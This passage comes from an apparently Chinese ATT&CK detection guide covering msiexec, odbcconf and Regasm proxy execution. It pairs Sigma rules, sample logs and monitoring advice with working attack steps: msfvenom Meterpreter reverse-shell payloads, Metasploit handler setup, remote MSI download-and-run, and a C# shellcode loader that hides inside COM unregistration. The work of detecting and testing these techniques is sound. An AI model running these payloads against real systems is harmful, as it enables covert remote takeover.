msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=1234 -f msi -o 1.msi ``` **说明**: - 生成Meterpreter反向Shell MSI文件,保存为`1.msi`。 - 需将`1.msi`托管于攻击机的Web服务器(如Apache)。 #### 2. 配置Web服务器(攻击机) **命令**: ```bash sudo cp 1.msi /var/www/html/ sudo systemctl start apache2 ``` **说明**: - 将`1.msi`复制到Web根目录,确保靶机可通过`http://192.168.126.146/1.msi`访问。 - 启动Apache服务器。 #### 3. 配置Metasploit监听(攻击机) **命令**: ```bash msfconsole use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.126.146 set LPORT 1234 exploit ``` **输出**: ``` [*] Started reverse TCP handler on 192.168.126.146:1234 ``` **说明**: - 配置反向TCP Shell监听,端口1234。 #### 4. 靶机执行Payload **命令**: ```cmd msiexec.exe /q /i http://192.168.126.146/1.msi ``` **结果**: - `msiexec.exe`下载并执行`1.msi`,触发Meterpreter Payload。 - 攻击机接收会话: ``` [*] Sending stage (180291 bytes) to 192.168.126.149 [*] Meterpreter session 1 opened (192.168.126.146:1234 -> 192.168.126.149:49323) at 2023-10-01 10:00:00 +0800 meterpreter > getuid Server username: 12306Br0-PC\12306Br0 ``` #### 5. 清理 **靶机**: ```cmd taskkill /IM msiexec.exe /F ``` **攻击机**: - 关闭Metasploit会话:`exit` - 停止Web服务器:`sudo systemctl stop apache2` - 删除MSI文件:`rm /var/www/html/1.msi` ## 测试留痕 ### Windows安全日志(Event ID 4688:进程创建) ```xml 日志名称: Security 来源: Microsoft-Windows-Security-Auditing 日期: 2023/10/01 10:00:00 事件 ID: 4688 任务类别: Process Creation 级别: 信息 用户: N/A 计算机: 12306Br0-PC 描述: 已创建新进程。 进程信息: 新进程 ID: 0xe78 新进程名称: C:\Windows\System32\msiexec.exe 令牌提升类型: TokenElevationTypeDefault (1) 创建者进程 ID: 0xefa 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: msiexec.exe /q /i http://192.168.126.146/1.msi ``` **分析**: - 日志记录`msiexec.exe`执行,命令行包含`/q /i http://...`。 - 父进程为`cmd.exe`,提示通过命令行触发。 ### Sysmon日志(Event ID 1:进程创建) ```xml 日志名称: Microsoft-Windows-Sysmon/Operational 来源: Microsoft-Windows-Sysmon 日期: 2023/10/01 10:00:00 事件 ID: 1 任务类别: Process Create 级别: 信息 用户: 12306Br0-PC\12306Br0 计算机: 12306Br0-PC 描述: Process Create: RuleName: technique_id=T1218.007,technique_name=Signed Binary Proxy Execution UtcTime: 2023-10-01 02:00:00.596 ProcessGuid: {bb1f7c32-08e0-5e9b-0000-0010b8ff3f01} ProcessId: 3704 Image: C:\Windows\System32\msiexec.exe FileVersion: 5.0.7601.17514 Description: Windows® installer Product: Windows Installer - Unicode Company: Microsoft Corporation OriginalFileName: msiexec.exe CommandLine: msiexec.exe /q /i http://192.168.126.146/1.msi CurrentDirectory: C:\Users\12306Br0\ User: 12306Br0-PC\12306Br0 LogonGuid: {bb1f7c32-5fc3-5e99-0000-00201ae20600} LogonId: 0x6e21a TerminalSessionId: 1 IntegrityLevel: Medium Hashes: SHA1=443AAC22D57EDD4EF893E2A245B356CBA5B2C2DD ParentProcessGuid: {bb1f7c32-08db-5e9b-0000-001049f63d01} ParentProcessId: 1900 ParentImage: C:\Windows\System32\cmd.exe ParentCommandLine: "C:\Windows\System32\cmd.exe" ``` **分析**: - 日志记录`msiexec.exe`执行,命令行明确指向远程MSI。 ### Sysmon日志(Event ID 3:网络连接) ```xml 日志名称: Microsoft-Windows-Sysmon/Operational 来源: Microsoft-Windows-Sysmon 日期: 2023/10/01 10:00:00 事件 ID: 3 任务类别: Network connection detected 级别: 信息 用户: 12306Br0-PC\12306Br0 计算机: 12306Br0-PC 描述: Network connection detected: RuleName: technique_id=T1218.007,technique_name=Signed Binary Proxy Execution UtcTime: 2023-10-01 02:00:00.597 ProcessGuid: {bb1f7c32-08e0-5e9b-0000-0010b8ff3f01} ProcessId: 3704 Image: C:\Windows\System32\msiexec.exe Protocol: tcp DestinationIp: 192.168.126.146 DestinationPort: 80 DestinationHostname: 192.168.126.146 ``` **分析**: - 日志记录`msiexec.exe`发起HTTP连接(TCP 80),下载MSI文件。 - 后续可能记录C2连接(TCP 1234)。 ## 检测规则/思路 ### Sigma规则 ```yaml title: 检测Msiexec.exe加载远程MSI文件 description: Detects suspicious msiexec.exe execution with web addresses as parameters. status: experimental author: Florian Roth date: 2023/10/01 references: - https://attack.mitre.org/techniques/T1218/007/ - https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/ tags: - attack.defense_evasion - attack.execution - attack.t1218.007 logsource: product: windows category: process_creation detection: selection: EventID: - 4688 # Windows安全日志 - 1 # Sysmon日志 Image|endswith: '\msiexec.exe' CommandLine|contains: - '://' - '.msi' condition: selection fields: - Image - CommandLine - ParentImage falsepositives: - Legitimate use of msiexec.exe for remote software installation level: medium ``` **规则说明**: - 检测`msiexec.exe`执行,命令行包含`://`(如HTTP URL)或`.msi`。 - 覆盖Windows安全日志(Event ID 4688)和Sysmon日志(Event ID 1)。 - 规则为实验性,需测试以减少合法远程MSI安装的误报。 ### 建议 1. **监控Msiexec.exe活动**: - 使用Sysmon(Event ID 1)捕获`msiexec.exe`的进程创建,检查命令行是否包含`://`或`.msi`。 - 监控Event ID 3(网络连接),检测HTTP请求或C2连接(如TCP 1234)。 - 监控Event ID 7(镜像加载),检测MSI触发的可疑DLL或模块。 2. **启用命令行和网络审计**: - 配置Windows安全策略,启用进程跟踪(Event ID 4688)和WFP连接(Event ID 5156)审计。 - 部署Sysmon,配置捕获进程命令行、网络连接和镜像加载事件。 3. **基线化行为**: - 建立`msiexec.exe`的正常使用基线,加载远程MSI文件应罕见。 - 监控非预期父进程(如`powershell.exe`)或异常参数(如URL)。 4. **限制Msiexec.exe使用**: - 使用AppLocker或组策略限制`msiexec.exe`的执行,仅允许受信任的MSI文件。 - 禁用`msiexec.exe`的网络访问(如阻止HTTP出站流量)。 5. **部署SIEM系统**: - 使用SIEM工具(如Splunk、Elastic)分析安全日志和Sysmon日志,检测`msiexec.exe`代理执行。 - 设置中优先级告警,针对远程MSI加载或网络连接。 6. **行为链关联**: - 将`msiexec.exe`执行与其他可疑行为(如网络连接、子进程创建)关联,识别攻击链。 - 例如,检测`msiexec.exe`加载MSI后是否发起C2通信。 7. **网络防御**: - 配置防火墙阻止`msiexec.exe`的非必要出站连接(如HTTP 80或TCP 1234)。 - 监控异常IP或域名的HTTP流量。 8. **测试与验证**: - 在测试环境中模拟`msiexec.exe`加载远程MSI(如使用Meterpreter),验证检测规则有效性。 - 测试不同Windows版本和补丁级别,确认Payload执行的成功率。 - 调整规则阈值,排除合法远程MSI安装的误报。 ## 参考推荐 - MITRE ATT&CK T1218.007 - 基于白名单的Payload - Trend Micro:Msiexec攻击分析 - Atomic Red Team T1218.007 - Microsoft文档:Msiexec.exe ================================================ FILE: Windows/07逃避防御/T1218.008-Win-使用Odbcconf.exe执行Payload(白名单).md ================================================ # T1218.008-Win-使用Odbcconf.exe执行Payload(白名单) ## 描述 攻击者可能利用**odbcconf.exe**代理执行恶意代码,规避安全工具的检测(MITRE ATT&CK T1218.008)。`odbcconf.exe`是Windows内置工具,用于配置开放数据库连接(ODBC)驱动和数据源名称,由微软数字签名,常被白名单或误报。攻击者可通过`odbcconf.exe`的`/A {REGSVR}`选项加载恶意DLL,类似于`regsvr32.exe`,触发恶意Payload。此技术利用`odbcconf.exe`的合法性和白名单特性,结合`rundll32.exe`加载DLL的机制,实现防御规避和初始访问。 本案例聚焦于使用`odbcconf.exe`加载本地恶意DLL(如`payload.dll`),执行Meterpreter反向Shell,模拟攻击者绕过应用程序白名单的场景。 ## 测试案例 ### 测试1:使用Odbcconf.exe执行本地DLL Payload 攻击者通过`odbcconf.exe`加载恶意DLL,触发反向Shell。 **环境要求**: - 攻击机:Kali Linux(或其他Metasploit支持的系统) - 靶机:Windows 7(支持Windows 2003及以上) - 工具:Metasploit(生成Payload)、`odbcconf.exe`(系统自带) - 权限:普通用户 - 路径: - `C:\Windows\System32\odbcconf.exe` - `C:\Windows\SysWOW64\odbcconf.exe` **攻击命令**(靶机): ```cmd C:\Windows\SysWOW64\odbcconf.exe /A {REGSVR C:\payload.dll} ``` **说明**: - `/A {REGSVR}`:执行注册DLL的操作,调用`rundll32.exe`加载指定DLL。 - `C:\payload.dll`:本地恶意DLL,包含Meterpreter Payload。 - 执行触发反向Shell。 **清理命令**: ```cmd taskkill /IM odbcconf.exe /F taskkill /IM rundll32.exe /F del C:\payload.dll ``` ## 检测日志 - **Windows安全日志**: - Event ID 4688:进程创建,记录`odbcconf.exe`和`rundll32.exe`的执行(需启用进程跟踪审核)。 - Event ID 5156:Windows过滤平台(WFP)连接,记录反向Shell的网络连接(如TCP 53)。 - **Sysmon日志**: - Event ID 1:进程创建,捕获`odbcconf.exe`和`rundll32.exe`的命令行及父进程信息。 - Event ID 3:网络连接,记录`rundll32.exe`触发的C2连接。 - Event ID 7:镜像加载,记录`payload.dll`的加载。 **日志配置**: - 启用命令行审计:`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 部署Sysmon,配置捕获进程创建、网络连接和镜像加载事件。 ## 测试复现 ### 测试环境 - **攻击机**:Kali Linux 2019,IP:192.168.126.146 - **靶机**:Windows 7,IP:192.168.126.149,Sysmon已部署 - **工具**:Metasploit(`msfvenom`和`exploit/multi/handler`) ### 测试过程 #### 1. 生成恶意DLL(攻击机) **命令**: ```bash msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=53 -f dll -o payload.dll ``` **说明**: - 生成32位Meterpreter反向Shell DLL,保存为`payload.dll`。 - 需将`payload.dll`传输到靶机(如通过SMB或手动复制)。 #### 2. 配置Metasploit监听(攻击机) **命令**: ```bash msfconsole use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.126.146 set LPORT 53 set AutoRunScript migrate -f exploit ``` **输出**: ``` [*] Started reverse TCP handler on 192.168.126.146:53 ``` **说明**: - 配置反向TCP Shell监听,端口53,`AutoRunScript migrate -f`自动迁移到其他进程(如`notepad.exe`)以提升持久性。 #### 3. 靶机执行Payload - 将`payload.dll`复制到靶机`C:\`目录。 **命令**: ```cmd C:\Windows\SysWOW64\odbcconf.exe /A {REGSVR C:\payload.dll} ``` **结果**: - `odbcconf.exe`调用`rundll32.exe`加载`payload.dll`,触发Meterpreter Payload。 - 攻击机接收会话: ```bash [*] Sending stage (180291 bytes) to 192.168.126.149 [*] Meterpreter session 2 opened (192.168.126.146:53 -> 192.168.126.149:49306) at 2023-10-01 10:00:00 +0800 [*] Session ID 2 (192.168.126.146:53 -> 192.168.126.149:49306) processing AutoRunScript 'migrate -f' [*] Current server process: rundll32.exe (912) [*] Spawning notepad.exe process to migrate to [+] Migrating to 3820 [+] Successfully migrated to process meterpreter > getuid Server username: 12306Br0-PC\12306Br0 ``` #### 4. 清理 **靶机**: ```cmd taskkill /IM odbcconf.exe /F taskkill /IM rundll32.exe /F taskkill /IM notepad.exe /F del C:\payload.dll ``` **攻击机**: - 关闭Metasploit会话:`exit` ## 测试留痕 ### Windows安全日志(Event ID 4688:进程创建) ```xml 日志名称: Security 来源: Microsoft-Windows-Security-Auditing 日期: 2023/10/01 10:00:00 事件 ID: 4688 任务类别: Process Creation 级别: 信息 用户: N/A 计算机: 12306Br0-PC 描述: 已创建新进程。 进程信息: 新进程 ID: 0xfec 新进程名称: C:\Windows\SysWOW64\odbcconf.exe 令牌提升类型: TokenElevationTypeDefault (1) 创建者进程 ID: 0xefa 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: C:\Windows\SysWOW64\odbcconf.exe /A {REGSVR C:\payload.dll} ``` ```xml 进程信息: 新进程 ID: 0x390 新进程名称: C:\Windows\SysWOW64\rundll32.exe 令牌提升类型: TokenElevationTypeDefault (1) 创建者进程 ID: 0xfec 创建者进程名称: C:\Windows\SysWOW64\odbcconf.exe 进程命令行: rundll32.exe ``` **分析**: - 日志记录`odbcconf.exe`执行,命令行包含`/A {REGSVR C:\payload.dll}`。 - `rundll32.exe`由`odbcconf.exe`启动,提示DLL加载。 ### Sysmon日志(Event ID 1:进程创建) ```xml 日志名称: Microsoft-Windows-Sysmon/Operational 来源: Microsoft-Windows-Sysmon 日期: 2023/10/01 10:00:00 事件 ID: 1 任务类别: Process Create 级别: 信息 用户: 12306Br0-PC\12306Br0 计算机: 12306Br0-PC 描述: Process Create: RuleName: technique_id=T1218.008,technique_name=Signed Binary Proxy Execution UtcTime: 2023-10-01 02:00:00.123 ProcessGuid: {bb1f7c32-f662-5e9a-0000-0010d648ef00} ProcessId: 4076 Image: C:\Windows\SysWOW64\odbcconf.exe FileVersion: 6.1.7600.16385 Description: ODBC Driver Configuration Program Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: odbcconf.exe CommandLine: C:\Windows\SysWOW64\odbcconf.exe /A {REGSVR C:\payload.dll} CurrentDirectory: C:\ User: 12306Br0-PC\12306Br0 LogonGuid: {bb1f7c32-5fc3-5e99-0000-00201ae20600} LogonId: 0x6e21a TerminalSessionId: 1 IntegrityLevel: Medium Hashes: SHA1=B1C49B2159C237B1F2BCE2D40508113E39143F7B ParentProcessGuid: {bb1f7c32-f65d-5e9a-0000-0010833eef00} ParentProcessId: 3868 ParentImage: C:\Windows\System32\cmd.exe ParentCommandLine: "C:\Windows\System32\cmd.exe" ``` ```xml Process Create: RuleName: technique_id=T1218.008,technique_name=Signed Binary Proxy Execution UtcTime: 2023-10-01 02:00:00.124 ProcessGuid: {bb1f7c32-f663-5e9a-0000-0010e749ef00} ProcessId: 912 Image: C:\Windows\SysWOW64\rundll32.exe FileVersion: 6.1.7600.16385 Description: Windows host process (Rundll32) Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: RUNDLL32.EXE CommandLine: rundll32.exe CurrentDirectory: C:\ User: 12306Br0-PC\12306Br0 LogonGuid: {bb1f7c32-5fc3-5e99-0000-00201ae20600} LogonId: 0x6e21a TerminalSessionId: 1 IntegrityLevel: Medium Hashes: SHA1=8939CF35447B22DD2C6E6F443446ACC1BF986D58 ParentProcessGuid: {bb1f7c32-f662-5e9a-0000-0010d648ef00} ParentProcessId: 4076 ParentImage: C:\Windows\SysWOW64\odbcconf.exe ParentCommandLine: C:\Windows\SysWOW64\odbcconf.exe /A {REGSVR C:\payload.dll} ``` **分析**: - 日志记录`odbcconf.exe`和`rundll32.exe`的执行,父子关系明确。 - `odbcconf.exe`命令行包含`/A {REGSVR}`,提示DLL注册。 ### Sysmon日志(Event ID 3:网络连接) ```xml 日志名称: Microsoft-Windows-Sysmon/Operational 来源: Microsoft-Windows-Sysmon 日期: 2023/10/01 10:00:00 事件 ID: 3 任务类别: Network connection detected 级别: 信息 用户: 12306Br0-PC\12306Br0 计算机: 12306Br0-PC 描述: Network connection detected: RuleName: technique_id=T1218.008,technique_name=Signed Binary Proxy Execution UtcTime: 2023-10-01 02:00:00.125 ProcessGuid: {bb1f7c32-f663-5e9a-0000-0010e749ef00} ProcessId: 912 Image: C:\Windows\SysWOW64\rundll32.exe Protocol: tcp DestinationIp: 192.168.126.146 DestinationPort: 53 DestinationHostname: 192.168.126.146 ``` **分析**: - 日志记录`rundll32.exe`发起TCP 53连接,提示反向Shell。 ## 检测规则/思路 ### Sigma规则 ```yaml title: 检测Odbcconf.exe加载DLL绕过白名单 description: Detects defense evasion via odbcconf.exe execution to load malicious DLLs. status: experimental author: Kirill Kiryanov, Beyu Denis, Daniil Yugoslavskiy, oscd.community date: 2023/10/01 references: - https://attack.mitre.org/techniques/T1218/008/ - https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Odbcconf.yml tags: - attack.defense_evasion - attack.execution - attack.t1218.008 logsource: product: windows category: process_creation detection: selection_1: EventID: - 4688 # Windows安全日志 - 1 # Sysmon日志 Image|endswith: '\odbcconf.exe' CommandLine|contains: - '/A' - 'REGSVR' - '.dll' selection_2: EventID: - 4688 - 1 Image|endswith: '\rundll32.exe' ParentImage|endswith: '\odbcconf.exe' condition: selection_1 or selection_2 fields: - Image - CommandLine - ParentImage falsepositives: - Legitimate use of odbcconf.exe for ODBC driver configuration level: medium ``` **规则说明**: - 检测`odbcconf.exe`执行,命令行包含`/A`、`REGSVR`或`.dll`。 - 检测`rundll32.exe`由`odbcconf.exe`启动,提示DLL加载。 - 覆盖Windows安全日志(Event ID 4688)和Sysmon日志(Event ID 1)。 - 规则为实验性,需测试以减少合法ODBC配置的误报。 ### 建议 1. **监控Odbcconf.exe活动**: - 使用Sysmon(Event ID 1)捕获`odbcconf.exe`的进程创建,检查命令行是否包含`/A {REGSVR}`或`.dll`。 - 监控Event ID 3(网络连接),检测反向Shell连接(如TCP 53)。 - 监控Event ID 7(镜像加载),检测可疑DLL(如`payload.dll`)。 2. **启用命令行和网络审计**: - 配置Windows安全策略,启用进程跟踪(Event ID 4688)和WFP连接(Event ID 5156)审计。 - 部署Sysmon,配置捕获进程命令行、网络连接和镜像加载事件。 3. **基线化行为**: - 建立`odbcconf.exe`的正常使用基线,加载DLL或触发网络连接应罕见。 - 监控非预期父进程(如`powershell.exe`)或异常参数(如`.dll`)。 4. **限制Odbcconf.exe使用**: - 使用AppLocker或组策略限制`odbcconf.exe`的执行,仅允许特定场景。 - 限制非签名DLL的加载。 5. **部署SIEM系统**: - 使用SIEM工具(如Splunk、Elastic)分析安全日志和Sysmon日志,检测`odbcconf.exe`代理执行。 - 设置中优先级告警,针对`/A {REGSVR}`或`.dll`的使用。 6. **行为链关联**: - 将`odbcconf.exe`执行与其他可疑行为(如`rundll32.exe`启动、网络连接)关联,识别攻击链。 - 例如,检测`odbcconf.exe`加载DLL后是否发起C2通信。 7. **网络防御**: - 配置防火墙阻止`odbcconf.exe`或`rundll32.exe`的非必要出站连接(如TCP 53)。 - 监控异常IP或域名的网络流量。 8. **测试与验证**: - 在测试环境中模拟`odbcconf.exe`加载恶意DLL(如使用Meterpreter),验证检测规则有效性。 - 测试不同Windows版本和补丁级别,确认Payload执行的成功率。 - 调整规则阈值,排除合法ODBC配置的误报。 ## 参考推荐 - MITRE ATT&CK T1218.008 - LOLBAS:Odbcconf.exe - Windows白名单绕过技术(下) - Atomic Red Team T1218.008 ================================================ FILE: Windows/07逃避防御/T1218.009-Win-使用Regasm.exe执行payload(白名单).md ================================================ # T1218.009-Win-使用Regasm.exe执行Payload(白名单) ## 描述 攻击者可能利用**Regasm.exe**或**Regsvcs.exe**代理执行恶意代码,规避安全工具的检测(MITRE ATT&CK T1218.009)。这两个工具是Windows内置的.NET程序集注册实用程序,由微软数字签名,用于注册COM组件,常被白名单或误报。攻击者可通过构造恶意DLL,利用`[ComRegisterFunction]`或`[ComUnregisterFunction]`属性在注册或注销时执行代码,即使注册失败也能触发Payload,绕过权限限制和应用程序白名单。 本案例聚焦于使用`Regasm.exe`加载恶意DLL(如`Micropoor.dll`),通过`[ComUnregisterFunction]`执行Meterpreter反向Shell。此技术利用`Regasm.exe`的合法性和白名单特性,隐蔽性较高,适用于防御规避和初始访问。 ## 测试案例 ### 测试1:使用Regasm.exe执行恶意DLL Payload 攻击者通过`Regasm.exe`加载签名过的恶意DLL,触发反向Shell。 **环境要求**: - 攻击机:Kali Linux(或其他Metasploit支持的系统) - 靶机:Windows Server 2012(支持Windows 7及以上,需安装.NET Framework 4.0+) - 工具:Metasploit(生成Payload)、`csc.exe`(.NET编译器)、`sn.exe`(生成签名密钥)、`Regasm.exe`(系统自带) - 权限:普通用户 - 路径: - `C:\Windows\Microsoft.NET\Framework\v4.0.30319\Regasm.exe` - `C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Regasm.exe` **攻击命令**(靶机): ```cmd C:\Windows\Microsoft.NET\Framework\v4.0.30319\Regasm.exe /U Micropoor.dll ``` **说明**: - `/U`:注销模式,触发`[ComUnregisterFunction]`中的恶意代码。 - `Micropoor.dll`:签名过的恶意DLL,包含Meterpreter Payload。 - 即使注销失败,Payload也会执行。 **清理命令**: ```cmd taskkill /IM Regasm.exe /F ``` ## 检测日志 - **Windows安全日志**: - Event ID 4688:进程创建,记录`Regasm.exe`或`Regsvcs.exe`的执行(需启用进程跟踪审核)。 - Event ID 5156:Windows过滤平台(WFP)连接,记录反向Shell的网络连接(如TCP 4444)。 - **Sysmon日志**: - Event ID 1:进程创建,捕获`Regasm.exe`的命令行及父进程信息。 - Event ID 3:网络连接,记录`Regasm.exe`触发的C2连接。 - Event ID 7:镜像加载,记录`Micropoor.dll`的加载。 **日志配置**: - 启用命令行审计:`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 部署Sysmon,配置捕获进程创建、网络连接和镜像加载事件。 ## 测试复现 ### 测试环境 - **攻击机**:Kali Linux 2019,IP:192.168.126.146 - **靶机**:Windows Server 2012,IP:192.168.126.156,Sysmon已部署,.NET Framework 4.0.30319安装 - **工具**:Metasploit、Visual Studio(或Windows SDK提供`sn.exe`)、`csc.exe` ### 测试过程 #### 1. 生成恶意DLL的C#代码(攻击机或靶机) - 使用提供的C#代码模板(`regsvcs.cs`),替换Shellcode为Meterpreter Payload: ```csharp using System; using System.EnterpriseServices; using System.Runtime.InteropServices; namespace regsvcser { public class Bypass : ServicedComponent { public Bypass() { Console.WriteLine("I am a basic COM Object"); } [ComRegisterFunction] public static void RegisterClass(string key) { Console.WriteLine("I shouldn't really execute"); Shellcode.Exec(); } [ComUnregisterFunction] public static void UnRegisterClass(string key) { Console.WriteLine("I shouldn't really execute either."); Shellcode.Exec(); } } public class Shellcode { public static void Exec() { byte[] shellcode = new byte[] { /* Meterpreter Payload from msfvenom */ }; UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length); IntPtr hThread = IntPtr.Zero; UInt32 threadId = 0; IntPtr pinfo = IntPtr.Zero; hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); WaitForSingleObject(hThread, 0xFFFFFFFF); } private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; [DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32")] private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId); [DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); } } ``` #### 2. 生成Meterpreter Payload(攻击机) **命令**: ```bash msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=4444 -f csharp ``` **输出**(示例): ```csharp byte[] shellcode = new byte[341] { 0xfc,0xe8,0x82,0x00,0x00,0x00, ... }; ``` - 将生成的Shellcode替换C#代码中的`shellcode`数组。 #### 3. 生成签名密钥(靶机) **命令**: ```cmd "C:\Program Files (x86)\Microsoft SDKs\Windows\v10.0A\bin\NETFX 4.8 Tools\sn.exe" -k key.snk ``` **说明**: - 使用`sn.exe`生成强名称密钥对(`key.snk`),用于DLL签名。 - 需安装Windows SDK或Visual Studio。 #### 4. 编译恶意DLL(靶机) **命令**: ```cmd C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:Micropoor.dll /keyfile:key.snk regsvcs.cs ``` **说明**: - 使用`csc.exe`编译C#代码为DLL,引用`System.EnterpriseServices.dll`。 - `/keyfile:key.snk`:为DLL签名,确保注册时通过验证。 - 输出文件:`Micropoor.dll`。 #### 5. 配置Metasploit监听(攻击机) **命令**: ```bash msfconsole use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.126.146 set LPORT 4444 set AutoRunScript migrate -f exploit ``` **说明**: - 配置反向TCP Shell监听,`AutoRunScript migrate -f`自动迁移进程以提升持久性。 #### 6. 靶机执行Payload **命令**: ```cmd C:\Windows\Microsoft.NET\Framework\v4.0.30319\Regasm.exe /U Micropoor.dll ``` **结果**: - `Regasm.exe`加载`Micropoor.dll`,触发`[ComUnregisterFunction]`中的Shellcode。 - 攻击机接收Meterpreter会话: ``` [*] Started reverse TCP handler on 192.168.126.146:4444 [*] Sending stage (180291 bytes) to 192.168.126.156 [*] Meterpreter session 2 opened (192.168.126.146:4444 -> 192.168.126.156:49963) at 2023-10-01 10:00:00 +0800 meterpreter > getsid Server SID: S-1-5-21-3661619627-1912079458-2426250727-500 ``` #### 7. 清理 **靶机**: ```cmd taskkill /IM Regasm.exe /F del Micropoor.dll del key.snk ``` **攻击机**: - 关闭Metasploit会话:`exit` ## 测试留痕 ### Windows安全日志(Event ID 4688:进程创建) ```xml 日志名称: Security 来源: Microsoft-Windows-Security-Auditing 日期: 2023/10/01 10:00:00 事件 ID: 4688 任务类别: Process Creation 级别: 信息 用户: N/A 计算机: WIN-SRV-2012 描述: 已创建新进程。 进程信息: 新进程 ID: 0x9f8 新进程名称: C:\Windows\Microsoft.NET\Framework\v4.0.30319\Regasm.exe 令牌提升类型: TokenElevationTypeDefault (1) 创建者进程 ID: 0x13c 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: C:\Windows\Microsoft.NET\Framework\v4.0.30319\Regasm.exe /U Micropoor.dll ``` **分析**: - 日志记录`Regasm.exe`执行,命令行包含`/U Micropoor.dll`。 - 父进程为`cmd.exe`,提示通过命令行触发。 ### Sysmon日志(Event ID 3:网络连接) ```xml 日志名称: Microsoft-Windows-Sysmon/Operational 来源: Microsoft-Windows-Sysmon 日期: 2023/10/01 10:00:00 事件 ID: 3 任务类别: Network connection detected 级别: 信息 用户: WIN-SRV-2012\Administrator 计算机: WIN-SRV-2012 描述: Network connection detected: RuleName: technique_id=T1218.009,technique_name=Signed Binary Proxy Execution UtcTime: 2023-10-01 02:00:00.123 ProcessGuid: {bb1f7c32-2149-5e9b-0000-00107066a000} ProcessId: 2552 Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\Regasm.exe Protocol: tcp DestinationIp: 192.168.126.146 DestinationPort: 4444 DestinationHostname: 192.168.126.146 ``` **分析**: - 日志记录`Regasm.exe`发起TCP 4444连接,提示反向Shell。 ## 检测规则/思路 ### Sigma规则 ```yaml title: 检测Regasm.exe或Regsvcs.exe异常执行 description: Detects suspicious execution of Regasm.exe or Regsvcs.exe loading potentially malicious DLLs. status: experimental date: 2023/10/01 references: - https://attack.mitre.org/techniques/T1218/009/ - https://micro8.gitbook.io/micro8/contents-1/71-80/73-ji-yu-bai-ming-dan-regasm.exe-zhi-hang-payload-di-san-ji tags: - attack.defense_evasion - attack.execution - attack.t1218.009 logsource: product: windows category: process_creation detection: selection: EventID: - 4688 # Windows安全日志 - 1 # Sysmon日志 Image|endswith: - '\Regasm.exe' - '\Regsvcs.exe' CommandLine|contains: - '.dll' - '/U' condition: selection fields: - Image - CommandLine - ParentImage falsepositives: - Legitimate use of Regasm.exe or Regsvcs.exe for .NET COM registration level: high ``` **规则说明**: - 检测`Regasm.exe`或`Regsvcs.exe`执行,命令行包含`.dll`或`/U`。 - 覆盖Windows安全日志(Event ID 4688)和Sysmon日志(Event ID 1)。 - 规则为实验性,需测试以减少合法COM注册的误报。 ### 建议 1. **监控Regasm.exe和Regsvcs.exe活动**: - 使用Sysmon(Event ID 1)捕获`Regasm.exe`和`Regsvcs.exe`的进程创建,检查命令行是否包含`.dll`或`/U`。 - 监控Event ID 3(网络连接),检测反向Shell连接(如TCP 4444)。 - 监控Event ID 7(镜像加载),检测可疑DLL(如`Micropoor.dll`)。 2. **启用命令行和网络审计**: - 配置Windows安全策略,启用进程跟踪(Event ID 4688)和WFP连接(Event ID 5156)审计。 - 部署Sysmon,配置捕获进程命令行、网络连接和镜像加载事件。 3. **基线化行为**: - 建立`Regasm.exe`和`Regsvcs.exe`的正常使用基线,加载未知DLL或触发网络连接应罕见。 - 监控非预期父进程(如`powershell.exe`)或异常参数(如`/U`)。 4. **限制Regasm.exe和Regsvcs.exe使用**: - 使用AppLocker或组策略限制`Regasm.exe`和`Regsvcs.exe`的执行,仅允许特定场景。 - 限制非签名DLL的加载。 5. **部署SIEM系统**: - 使用SIEM工具(如Splunk、Elastic)分析安全日志和Sysmon日志,检测`Regasm.exe`代理执行。 - 设置高优先级告警,针对`.dll`加载或网络连接。 6. **行为链关联**: - 将`Regasm.exe`执行与其他可疑行为(如网络连接、子进程创建)关联,识别攻击链。 - 例如,检测`Regasm.exe`加载DLL后是否发起C2通信。 7. **网络防御**: - 配置防火墙阻止`Regasm.exe`的非必要出站连接(如TCP 4444)。 - 监控异常IP或域名的网络流量。 8. **测试与验证**: - 在测试环境中模拟`Regasm.exe`加载恶意DLL(如使用Meterpreter),验证检测规则有效性。 - 测试不同.NET Framework版本和补丁级别,确认Payload执行的成功率。 - 调整规则阈值,排除合法COM注册的误报。 ## 参考推荐 - MITRE ATT&CK T1218.009 - 基于白名单Regasm.exe执行Payload - 免杀远控专题 - Microsoft文档:Regasm.exe ================================================ FILE: Windows/07逃避防御/T1218.011-Win-使用Rundll32.exe执行payload(白名单).md ================================================ # T1218.011-Win-使用Rundll32.exe执行Payload(白名单) ## 描述 